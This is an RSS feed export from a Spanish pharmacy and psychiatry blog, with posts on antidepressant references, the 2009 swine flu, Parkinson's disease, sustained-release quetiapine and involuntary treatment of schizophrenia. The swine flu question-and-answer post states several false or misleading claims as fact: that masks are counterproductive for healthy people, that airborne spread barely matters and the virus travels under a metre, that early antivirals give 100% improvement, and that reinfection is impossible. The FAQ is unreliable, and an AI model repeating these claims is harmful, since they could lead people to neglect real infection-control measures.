<li class="MsoNormal"><font size="3">Bacaltchuk J, Hay P. Antidepresivos versus placebo para los pacientes que padecen bulimia nerviosa (Revisión Cochrane traducida). En: <em>La Biblioteca Cochrane</em><em> Plus</em>, 2007 Número 2. Oxford: Update Software Ltd. Disponible en: </font><a href="http://www.update-software.com/"><font size="3">http://www.update-software.com</font></a><font size="3">. (Traducida de <em>The Cochrane Library</em>, 2007 Issue 2. </font><font size="3"><span lang="EN-GB">Chichester</span><span lang="EN-GB">, UK</span><span lang="EN-GB">: John Wiley &#038; Sons, Ltd.).<br />
</span></font></li>
<li class="MsoNormal"><font size="3"><span lang="EN-GB">Department of Veterans Affairs Pharmacy Benefits Management and Medical Advisory Panel Recommendation for Initial Choice of Selective Serotonin Reuptake Inhibitor (SSRI) in Treatment Naïve Veterans with Major Depression in the Primary Care Setting. Updated march 2005. </span><a href="http://www.vapbm.org/">www.vapbm.org</a>.<span lang="EN-GB"><br />
</span></font></li>
<li class="MsoNormal"><font size="3"> BOT PLUS 2008. Consejo oficial de farmacéuticos. </font><a href="http://www.portalfarma.org/"><font size="3">www.portalfarma.org</font></a><font size="3">.<br />
</font></li>
<li class="MsoNormal"><span lang="DE"><font size="3">Michael Hirsch, Robert J Birnbaum. </font></span><a name="top"></a><span lang="EN-GB"><font size="3">Antidepressant medication in adults: Switching and discontinuing medication</font></span><span lang="EN-GB"><font size="3">. Uptodate versión 15.3. (agosto 2007)<br />
</font></span></li>
<li class="MsoNormal"><span lang="EN-GB"><font size="3"> Sthephan Bazire. Psychotropic Drug Directory. ISBN: 0-9544839-60. Mayo 2005.<br />
</font></span></li>
</ol>
<p><span lang="EN-GB"><font size="3" /></span><span lang="EN-GB"></p>
<p /></span>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/37/feed/</wfw:commentRss>
		</item>
		<item>
		<title>GRIPE A</title>
		<link>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/36</link>
		<comments>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/36#comments</comments>
		<pubDate>Mon, 03 Aug 2009 08:21:05 +0000</pubDate>
		<dc:creator>josecaparros</dc:creator>
		
		<category>1.¿COMO EMPEZAR?</category>

		<guid isPermaLink="false">http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/36</guid>
		<description><![CDATA[

- 
  


GRIPE “A��?
PREGUNTAS Y RESPUESTAS: 

1.- P: ¿Cuanto tiempo dura vivo el virus porcino en una manija o superficie lisa?
R: Hasta 10 horas.

2. -P: ¿Que tan útil es el alcohol para limpiarse las manos?
R: Vuelve inactivo al virus y lo mata.

3.- P: ¿Cual es el medio de contagio más eficiente de este virus?
R: La vía [...]]]></description>
			<content:encoded><![CDATA[<table>
<tr valign="top">
<td><font face="Verdana" size="3">- </font><br />
<font face="Verdana" size="3"> </font> </p>
<table>
<tr valign="top">
<td><font color="#000080" face="Roman" size="5"><strong><u>GRIPE “A��?</u></strong></font><br />
<font face="Arial" size="5">PREGUNTAS Y RESPUESTAS:</font><font face="Arial" size="2"> </font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
1.- P: ¿Cuanto tiempo dura vivo el virus porcino en una manija o superficie lisa?</strong><br />
R: Hasta 10 horas.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
2. -P: ¿Que tan útil es el alcohol para limpiarse las manos?</strong><br />
R: Vuelve inactivo al virus y lo mata.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
3.- P: ¿Cual es el medio de contagio más eficiente de este virus?</strong><br />
R: La vía aérea no es la mas efectiva para transmisión del virus, el factor más importante para que se fije el virus es la humedad, (mucosa de la nariz, boca y ojos) el virus no vuela y no alcanza mas de un metro en distancia.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
4.- P: ¿Es fácil contagiarse en los aviones?</strong><br />
R: No, es un medio poco propicio para contagiarse.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
5.- P: ¿Como puedo evitar contagiarme?</strong><br />
R: No llevarse las manos a la cara, ojos nariz y boca. No estar con gente enferma. Lavarse las manos más de 10 veces al día.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
6.- P: ¿Cual es el período de incubación del virus?</strong><br />
R: En promedio de 5 a 7 días y los síntomas aparecen casi de inmediato.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
7.- P: ¿Cuando se debe de empezar a tomar medicamento?</strong><br />
R: Dentro de las 72 horas los pronósticos son muy buenos, la<br />
mejoría es del 100%.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
8.- P: ¿Cual es la forma como entra el virus al cuerpo?</strong><br />
R: Por contacto al darse la mano o besarse en la mejilla y por la nariz, boca y ojos</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
9.- P: ¿El virus es letal?</strong><br />
R: No, lo que ocasiona la muerte es la complicación de la enfermedad causada por el virus, que es la neumonía</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
10.- P: ¿Qué riesgos tienen los familiares de la gente que ha fallecido?</strong><br />
R: Pueden ser portadores y formar una cadena de transmisión.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
11.- P: ¿El agua de las albercas transmite el virus?</strong><br />
R: No porque contiene químicos y esta clorada</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
12.- P: ¿Qué hace el virus cuando provoca la muerte?</strong><br />
R: Una cascada de reacciones como deficiencia respiratoria, la neumonía severa es la que ocasiona la muerte.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
13.- P: ¿Cuando se inicia el contagio, antes de los síntomas o hasta que se presenten?</strong><br />
R: Desde que se tiene el virus, antes de los síntomas</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
14.- P: ¿Cual es la probabilidad de recaer con la misma enfermedad?</strong><br />
R: Del 0%, porque quedas inmune al virus porcino.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
15.- P: ¿Donde se encuentra el virus en el ambiente?</strong><br />
R: Cuando una persona que lo porta estornuda o tose, el virus puede quedar en las superficies lisas como manijas, dinero, papel, documentos, siempre y cuando haya humedad. Ya que no se va a esterilizar el ambiente se recomienda extremar la higiene de las manos.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
16.- P: ¿Si voy a un Hospital particular me deben cobrar la Medicina?</strong><br />
R: No, hay un acuerdo de no cobrarla ya que gobierno la está suministrando a todos los centros de salud públicos y privados.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
17.- P: ¿El virus ataca más a las personas asmáticas?</strong><br />
R: Si, son pacientes más susceptibles, pero al tratarse de un nuevo germen todos somos igualmente susceptibles.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
18.- P: ¿Cual es la población que esta atacando este virus?</strong><br />
R: De 20 a 50 años de edad.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
19.- P: ¿Es útil el cubre bocas?</strong><br />
R: Hay algunos de más calidad que otros, pero si usted está sano es contraproducente, porque los virus por su tamaño lo atraviesan como si éste no existiera y al usar la máscara, se crea en la zona de la nariz y boca un microclima húmedo propicio al desarrollo viral: pero si usted ya está infectado úselo para NO infectar a los demás, aunque es relativamente eficaz.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
20.- P: ¿Puedo hacer ejercicio al aire libre?</strong><br />
R: Si, el virus no anda en el aire ni tiene alas.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
21.- P: ¿Sirve de algo tomar Vitamina C?</strong><br />
R: No sirve de nada para prevenir el contagio de este virus, pero ayuda a resistir su ataque. </font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
22.- P: ¿Quien está a salvo de esta enfermedad o quien es  menos susceptible?</strong></font><font color="blue" face="Arial" size="2"><br />
</font><font face="Arial" size="2"><br />
R: A salvo no esta nadie, lo que ayuda es la higiene dentro de hogar, oficinas, utensilios y no acudir a lugares públicos.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
23.- P: ¿El virus se mueve?</strong><br />
R: No, el virus no tiene ni patas ni alas, uno lo empuja a entrar adentro del organismo.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
24.- P: ¿Las mascotas contagian el virus?</strong><br />
R: Este virus NO, probablemente contagian otro tipo de virus.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
25.- P: ¿Si voy a un velorio de alguien que se murió de este virus me puedo contagiar?</strong><br />
R: NO.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
26.- P: ¿Cual es el riesgo de las mujeres embarazadas con este virus?</strong><br />
R: Las mujeres embarazadas tienen el mismo riesgo pero es por dos, si pueden tomar los antivirales en caso de contagio pero con estricto control médico.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
27.- P: ¿El feto puede tener lesiones si una mujer embarazada se contagia de este virus?</strong><br />
R: No sabemos que estragos pueda hacer en el proceso, ya que es un virus nuevo.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
28.- P: ¿Puedo tomar acido acetilsalicílico (aspirina)?</strong><br />
R: No es recomendable, puede ocasionar otras enfermedades, salvo que usted lo tenga prescrito por problemas coronarios, en ese caso siga tomándolo.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
29.- P: ¿Sirve de algo tomar antivirales antes de los síntomas?</strong><br />
R: No sirve de nada.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
30.- P: ¿Las personas con VIH, diabetes, sida, cáncer, etc., pueden tener mayores complicaciones que una persona sana si se contagia del virus?</strong><br />
R: SI.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
31.- P: ¿Una gripe convencional fuerte se puede convertir en influenza?</strong><br />
R: NO.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
32.- P: ¿Que mata al virus?</strong><br />
R: El sol, mas de 5 días en el medio ambiente, el jabón, los antivirales, gel de alcohol.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
33.- P: ¿Que hacen en los hospitales para evitar contagios a otros enfermos que no tienen el virus?</strong><br />
R: El aislamiento</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
34.- P: ¿El gel de alcohol es efectivo?</strong><br />
R: S�?, muy efectivo.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
35.- P: ¿Si estoy vacunado contra la influenza estacional soy inocuo a este virus?</strong><br />
R: No sirve de nada, todavía no hay vacuna para este virus.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
36.- P: ¿Este virus está bajo control?</strong><br />
R: No totalmente, pero se están tomando agresivas medidas de contención.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
37.- P: ¿Que significa pasar de alerta 4 a alerta 5?</strong><br />
R: La fase 4 no hace las cosas diferentes a la fase 5, significa que el virus se ha propagado de persona a persona en más de 2 países; y fase 6 es que se ha propagado en más de 3 países.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
38.- P: ¿El que se infectó de este virus y se sana, queda inmune?</strong><br />
R: SI.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
39.- P: ¿Los niños con tos y gripa tienen influenza?</strong><br />
R: Es poco probable, los niños son poco afectados.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
40.- P: ¿Medidas que la gente que trabaja debe tomar?</strong><br />
R: Lavarse las manos muchas veces al día.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
41.- P: ¿Me puedo contagiar al aire libre?</strong><br />
R: Si hay gente infectada y que tosa y/o estornude sí puede ocurrir, pero la vía aérea es un medio de poco contagio.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
42.- P: ¿Se puede comer carne de puerco?</strong><br />
R: SI se puede y no hay riesgo alguno de contagio.</font><font color="blue" face="Arial" size="2"><strong><br />
</strong></font><font face="Arial" size="2"><strong><br />
43.- P: ¿Cual es el factor determinante para saber que ya se controló el virus?</strong><br />
R: Aunque se controle la epidemia ahora, en el invierno boreal (hemisferio norte) puede regresar y todavía no habrá vacuna.<br />
</font><font color="blue" face="Arial" size="5"><strong><br />
</strong></font><font face="Arial" size="5"><strong><br />
</strong></font> </td>
</tr>
</table>
<p><font face="Verdana" size="3"><br />
</font></td>
</tr>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/36/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ENFERMEDAD DE PARKINSON UN TRASTORNO DISCAPACITANTE</title>
		<link>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/35</link>
		<comments>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/35#comments</comments>
		<pubDate>Fri, 03 Jul 2009 11:42:48 +0000</pubDate>
		<dc:creator>josecaparros</dc:creator>
		
		<category>1.¿COMO EMPEZAR?</category>

		<guid isPermaLink="false">http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/35</guid>
		<description><![CDATA[ Autor: Emilio Pol Yanguas. Doctor en Farmacia y Especialista en Farmacia de Hospital. Farmacéutico del Centro Socio-Sanitario Dr. Esquerdo. San Juan Alicante
La enfermedad de Parkinson (EP) es un trastorno crónico, progresivo, de carácter neurodegenerativo y en cuyo origen intervienen múltiples factores. Se estima que su prevalencia  (fracción de la población que padece la enfermedad en [...]]]></description>
			<content:encoded><![CDATA[<p> Autor: Emilio Pol Yanguas. Doctor en Farmacia y Especialista en Farmacia de Hospital. Farmacéutico del Centro Socio-Sanitario Dr. Esquerdo. San Juan Alicante<br />
<font size="3">La enfermedad de Parkinson (EP) es un trastorno crónico, progresivo, de carácter neurodegenerativo y en cuyo origen intervienen múltiples factores. Se estima que su prevalencia  (fracción de la población que padece la enfermedad en un momento dado)  es del 0,3% en los países de nuestro entorno, aumenta con la edad, y  entre las personas mayores de 65 años alcanza el 1-2%, y el 4-5% si se considera a las mayores de 85 años. Usualmente comienza a manifestarse al principio de la 7º década de vida, en torno al final de la vida laboral. En un 10% de los casos comienza a manifestarse más temprano, antes de los 45 años. Los varones son más propensos a padecerla, mientras que el 2% de estos la padecerán en algún momento de su vida, solo el 1,3% de las mujeres lo hará. Se estima que actualmente unos 5 millones de personas en el mundo padecen la EP, y se espera que llegue a 9 millones para el año 2030. Estos datos hacen que la EP sea una de las principales enfermedades neurodegenerativas, solo superada en número de afectados por la enfermedad de Alzheimer, a la que supera en carga para los cuidadores, por la doble afectación motora y neuropsiquiátrica.<br />
</font><font size="3">Se denomina EP primaria, si su aparición no se explica por el progreso o complicación de otro trastorno médico. El 90% de los casos de EP primaria son espontáneos, sin que se pueda establecer una origen claro, se dice que es idiopática. En un 10% de los casos se puede establecer un origen genético, especialmente en los casos de aparición temprana, pero las pruebas genéticas no tienen utilidad clínica actualmente. El único factor de riesgo confirmado para la EP primaria es la edad avanzada.<br />
</font><font size="3">La EP secundaria puede deberse a toxinas, efectos adversos de medicamentos, secuelas de infecciones en el sistema nervioso central, trastornos metabólicos o vasculares. Algunas enfermedades neurodegenerativa pueden presentar características similares a la EP y se denominan EP-plus o síndromes parkinsonianos atípicos. Antipsicóticos (haloperidol, risperidona y otros) y antieméticos (metoclopramida) son los medicamentos que más frecuentemente causan síntomas parkinsonianos.<br />
</font><font size="3">Los cuatro síntomas motores cardinales son, 1) temblor de reposo; 2) bradiquinesia; 3) rigidez; 4) inestabilidad postural. Los síntomas comienzan de forma asimétricas, gradualmente se expanden al otro lado, aunque el lado de comienzo siempre permanece un poco más afectado. El temblor de reposos como haciendo píldoras o contando monedas, suele presentarse como un síntoma inicial en el 70-90% de los afectados, especialmente en los más jóvenes y es muy visible. Cuando la mano afectada es la dominante, la escritura se vuelve pequeña (micrografía). La bradicinesia (movimientos enlentecidos) es uno de los síntomas más discapacitantes y perturbadores, se manifiesta como dificultad para levantarse de la silla,  o entrar y salir del automóvil. La bradicinesia extrema se denomina acinesia y es la incapacidad para iniciar el movimiento. Otras consecuencias de la bradicinesia son: hipofonía (voz débil y difuminada), reducción de las habilidades manuales, rostro inexpresivo o en máscara, reducción del parpadeo, dificultades para beber y deglutir los alimentos, babeo (generalmente debido a la incapacidad para tragar), marcha lenta arrastrando los pies. La rigidez en rueda dentada, como si pertenecieran a un engranaje mecánico, se manifiesta como resistencia fluctuante cuando la articulación es pasivamente movilizada, principalmente en la muñecas. La rigidez sostenida puede causar dolor muscular.   La inestabilidad postural se manifiesta ya en la enfermedad más avanzada de la EP, obliga al paciente a marchar con las piernas abiertas. Y puede causar caídas, con el consiguiente riesgo de fracturas.<br />
</font><font size="3">Junto a los síntomas motores  son frecuentes, en la EP, una amplia variedad de síntomas no motores, que afectan muy negativamente a la calidad de vida de los pacientes, y de sus familias y cuidadores. El 90% de los paciente de EP presentan al menos uno de estos síntomas, y el 10% hasta 5. Cada vez más se reconoce que estos síntomas contribuyen al exceso de discapacidad en la EP, especialmente los neuropsiquiatricos, llegando a dominar el cuadro clínico a medida que la enfermedad progresa y contribuyen en gran medida a acortar la vida de los pacientes.<br />
</font><font size="3">Un síntoma que puede aparecer tempranamente en la EP es la hiposmia o capacidad reducida para detectar olores. La depresión se llega a producir en el 50% de los pacientes. Los síntomas psicóticos (10-40%) y obsesivo-compulsivos (10%) pueden estar relacionado con el uso de medicación antiparkinsoniana. A medida que progresa la enfermedad los sujetos desarrollan demencia (70-80%). Sudoración excesiva, estreñimiento, seborrea, rinorrea, dificultades urinarias, son otros síntomas que contribuyen a la merma de la calidad de vida del afectado de EP.<br />
</font><font size="3">Los síntomas de la enfermedad progresan con el tiempo y, antes de que se dispusiera de fármacos efectivos, causaba una grave discapacidad antes de transcurridos 10 año es de la aparición de los primeros síntomas. Aunque  la EP no es una enfermedad fatal, la mortalidad entre los que la padecen está aumentada respecto a la población general, principalmente debida a complicaciones como pneumonia y problemas cardiovasculares. La expectativa de vida en los pacientes que desarrollan una EP temprana se reduce en 10 años.<br />
</font><font size="3">Los costes económicos de la EP para la sociedad son enormes, aunque varían entre diversos estudios, se calcula que anualmente cada paciente consume entre menos de 2000€ y más de 70000€, dependiendo de lo avanzado de la enfermedad y el grado de discapacidad que conlleva. Se calcula que cada paciente promedio consume unos 58.000€/año, el 70% serían costes indirectos, el 20% coste de cuidados y el 10% coste de los medicamentos. El desarrollo de medicamentos que pudieran enlentecer  el progreso de la enfermedad sería un gran alivio para los pacientes y sus familiares, a la vez que podría reportar considerables ahorros en la utilización de servicios y asistencia sanitarios y sociales.<br />
</font><font size="3">La enfermedad no solo modifica la calidad de vida del enfermo, los familiares cuidadores deben desempeña un papel que conlleva un notable desgaste emocional, físico, social y económico, que se complica a medida que progresa la enfermedad. Conseguir la colaboración del paciente, familia y cuidadores en fundamental para lograr la adherencia al tratamiento. Se debe mantener una actitud dialogante y suministrar el apoyo e información que requieran. Como se trata de una enfermedad incurable, cuyo tratamiento solo modifica los síntomas, es muy importante atender a los aspectos psicosociales y relacionados con la calidad de vida, tratando de preservar la funcionalidad y atendiendo a los síntomas y complicaciones cotidianas. El farmacéutico comunitario es un profesional de la salud libremente accesible y cercano, inmerso en el entrono social de los afectados y sus familias, en el que apoyarse.<br />
</font>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/35/feed/</wfw:commentRss>
		</item>
		<item>
		<title>QUETIAPINA DE LIBERACIÓN SOSTENIDA.</title>
		<link>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/31</link>
		<comments>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/31#comments</comments>
		<pubDate>Wed, 24 Jun 2009 11:48:01 +0000</pubDate>
		<dc:creator>josecaparros</dc:creator>
		
		<category>1.¿COMO EMPEZAR?</category>

		<guid isPermaLink="false">http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/31</guid>
		<description><![CDATA[Quetiapina de liberación sostenida – otra vez – más de lo mismo

He tratado de conocer que aporta Seroquel Prolog. La patente de Seroquel ha caducado y ahora disponemos de quetiapina genérica y bien envasada (con identificación correcta de cada dosis). Pero mira por donde, se lanza al mercado farmacéutico, justo ahora, no antes, Seroquel Porlog, [...]]]></description>
			<content:encoded><![CDATA[<p><font face="Times New Roman" size="3">Quetiapina de liberación sostenida – otra vez – más de lo mismo</font></p>
<p><font face="Times New Roman" size="3" /></p>
<p><font face="Times New Roman" size="3">He tratado de conocer que aporta Seroquel Prolog. La patente de Seroquel ha caducado y ahora disponemos de quetiapina genérica y bien envasada (con identificación correcta de cada dosis). Pero mira por donde, se lanza al mercado farmacéutico, justo ahora, no antes, Seroquel Porlog, una forma farmacéutica oral de liberación lenta de quetiapina. Se dice que mejora a la presentación original, manteniendo una eficacia similar, con menos efectos adversos (se evitan picos plasmáticos) y mejora el cumplimiento, ya que reduce tomas. Bueno, parece interesante, así que había que leer la bibliografía pertinente. Me puse manos a la obra y me puse a leer un grupo de separatas proporcionadas por el propio laboratorio.</font></p>
<p><font face="Times New Roman" size="3" /></p>
<p><font size="3"><font face="Times New Roman">Algunos artículos no sirvieron para nuestro propósito, es decir ubicar comparativamente la forma farmacéutica de liberación retardada (LR) de quetiapina frente a la forma convencional (LI). Estos artículos comparan quetiapina LR frente a placebo, en pacientes previamente tratados con antipsicóticos, concluyen que cuando un paciente necesita antipsicótico, y se lo quitas, es mejor darles quetiapina LR que placebo. Pero nada más. Son los correspondientes a las referencias: Peuskens J y cols. Psychiatry, 2007;4: 34-50 ; Genesan S, y cols.  <span lang="EN-GB">Curr Med Res Opin, 2008; 24:21-132; Järrink K y cols. Curr Med Res Opin, 2009; 25:709-16<br />
</span></font></font><span lang="EN-GB"><font face="Times New Roman" size="3"> </font></span><span lang="EN-GB"><font face="Times New Roman" size="3">Había otros 2 artículos que incluyen ambas formas farmacéuticas de quetiapina (LR y LI. Uno de ellos Kan RS, y cols, J Clin Psychiatry 2007;68:832-42 compara tres dosis de quetiapina LR y  frente a placebo, e incorpora como control activo quetiapina LI. La variable principal de eficacia era le cambio en la PANSS total. Las cuatro ramas con fármaco activo se mostraron similares y significativamente mejores que placebo. No se realiza comparación entre ellas. </font></p>
<p></span><font face="Times New Roman" size="3" /></p>
<p><font face="Times New Roman" size="3">El otro estudio, Möller HJ y cols, Int Clin Psychopharmacology 2008; 23:95-105. Se compara directamente ambas formas de quetiapina, en tres ramas de tres dosis diferentes. Se trata de un análisis de no inferioridad, con un margen del 6% en la variable principal de eficacia, que era la proporción de pacientes que suspenden la medicación por falta de eficacia, en un análisis por intención de tratamiento modificada. En estas condiciones, la forma LR no mostró ausencia de inferioridad sobre la LI .</font></p>
<p><font face="Times New Roman" size="3" /></p>
<p><font face="Times New Roman" size="3">En ambos estudios la administración de dos tomas al día- una de ellas con placebo en el grupo LR, impide comprobar las ventajas de una sola toma frente a dos. La incidencia de efectos adversos fue similar en todos los grupos con quetiapina. </font></p>
<p><font face="Times New Roman" size="3" /></p>
<p><font face="Times New Roman" size="3">Hay que comentar que las dosis  comparadas de quetiapina LR en los ensayos anteriores  eran de 400mg, 600mg y 800 mg. Las presentaciones comercializadas son de 50, 200, 300 y 400 mg. Por tanto, las dos últimas dosificaciones, requieren de la toma de 2 comprimidos. No sabemos como esto puede afectar al cumplimiento,  pero es de preveer que si una toma es mejor que dos, el dar dos comprimidos en una toma es peor que dar solo1 comprimido por toma. Por tanto puede anularse el efecto supuesto de la forma retardada sobre el cumplimiento.</font></p>
<p><font face="Times New Roman" size="3" /></p>
<p><font face="Times New Roman" size="3">El resto de trabajos hablan sobre los factores que afectan al cumplimiento, en general y algunos de ellos en la población esquizofrénica en particular. En general muestran que una reducción del número de tomas mejora el cumplimiento. Esto es importante al pasar desde 4 tomas al día a un tratamiento más simplificado.(Osterberg L , y cols. NEJM, 2005; 353:487-97). Por ejemplo, entre los factores asociados a buen cumplimiento figuró el tomar la medicación en un esquema posológico de una ó dos veces al día y no más frecuentemente (Razali MS y cols. Acta Psychiatr Scand, 1995; 91:331-5 – no proporcionado por el laboratorio-, y citado por Linden M y cols, Schizophrenia Bulletin, 2001; 27:585-96)). El resto de artículos tratan también del cumplimiento pero no consideran la frecuencia de tomas como un factor relevante. </font></p>
<p><font face="Times New Roman" size="3" /></p>
<p><font size="3"><font face="Times New Roman"><u>Conclusión</u>  Los estudios no reflejan una superioridad de Seroquel Prolog sobre quetiapina LI, la eficacia es igual o incluso inferior, no llegando a demostrar la no inferioridad, y la frecuencia de efectos adversos son muy similares. Del mismo modo se observa que si la dosis óptima es superior a 400 mg/día, la toma de más de un comprimido, podría comprometer los hipotéticos beneficios sobre la adherencia al tratamiento. En esta situación, no se ha visto cómo influiría el hecho de tomar los comprimidos en una sola toma, o dividir la administración de los comprimidos en varias tomas al día. Es por tanto que la nueva presentación no cumple ninguno de los objetivos, como son la mejora de la eficacia, reducción de efectos adversos y mejorar la adherencia. Lo que si está claro es que Seroquel Prolog es bastante más caro que la quetiapina en forma farmacéutica convencional, así que preguntamos ¿pagaría usted más por el mismo producto?.</font></font></p>
<p><font face="Times New Roman" size="3" /></p>
<p><font face="Times New Roman" size="3">Dr. Emilio Pol Yanguas (Farmacéutico), Miguel �?ngel León (5º curso, Farmacia UMH)</font></p>
<p><font face="Times New Roman" size="3" />
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/31/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ESQUIZOFRENIA TRATAMIENTO INVOLUNTARIO</title>
		<link>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/29</link>
		<comments>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/29#comments</comments>
		<pubDate>Sun, 12 Oct 2008 16:19:12 +0000</pubDate>
		<dc:creator>josecaparros</dc:creator>
		
		<category>1.¿COMO EMPEZAR?</category>

		<guid isPermaLink="false">http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/29</guid>
		<description><![CDATA[JOSÉ CAPARRÓS CANTÓ
Ldo. FARMACIA




 
TRATAMIENTO INVOLUNTARIO A LOS ESQUIZOFRÉNICOS
 

INTRODUCCIÓN.
 
En innumerables ocasiones hemos visto y oído la noticia de que un enfermo diagnosticado de esquizofrenia en un ataque agudo ha matado a diferentes personas. La información que acompaña a esta noticia suele ser que el enfermo no se administraba la medicación que su doctor le había recetado.
 
Ante [...]]]></description>
			<content:encoded><![CDATA[<p><font face="Times New Roman">JOSÉ CAPARRÓS CANTÓ<br />
</font><font face="Times New Roman">Ldo. FARMACIA<br />
</font><font face="Times New Roman"><br />
</font><font face="Times New Roman"><br />
</font><font face="Times New Roman"><br />
</font><a href="mailto:0@yahoo.es"><font face="Times New Roman"><br />
<font face="Times New Roman"> </font></font></a><font face="Times New Roman"><font face="Times New Roman" /></p>
<p><font face="Times New Roman">TRATAMIENTO INVOLUNTARIO A LOS ESQUIZOFRÉNICOS<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman" /></p>
<p><font face="Times New Roman">INTRODUCCIÓN.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">En innumerables ocasiones hemos visto y oído la noticia de que un enfermo diagnosticado de esquizofrenia en un ataque agudo ha matado a diferentes personas. La información que acompaña a esta noticia suele ser que el enfermo no se administraba la medicación que su doctor le había recetado.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Ante esta información la primera reacción del informado es arremeter en contra el enfermo por no tomar la medicación, sin pararnos a pensar en el motivo de su actuación.<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Recientemente han aparecido en los periódicos alicantinos noticias sobre la iniciativa de algunos jueces y psiquiatras de forzar a los pacientes con esquizofrenia a tomar la medicación. (1)<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">En la actualidad existen distintas opiniones que manifiestan la inutilidad de la medida e incluso manifiestan que puede ser perjudicial para el paciente siendo contrario a los derechos humanos. (2)<br />
</font><font face="Times New Roman"> </font></p>
<p><font face="Times New Roman">Las iniciativas legales encuentran distorsiones con los supuestos cimientos del tratamiento ambulatorio: INTEGRAL, COLABORATIVO, CONTINUO Y PREVENTIVO. Nuestra respuesta a estos hechos, deberían estar más en la línea de mejorar los servicios asistenciales comunitarios, que en extender las intervenciones coercitivas a pacientes mentales.<br />
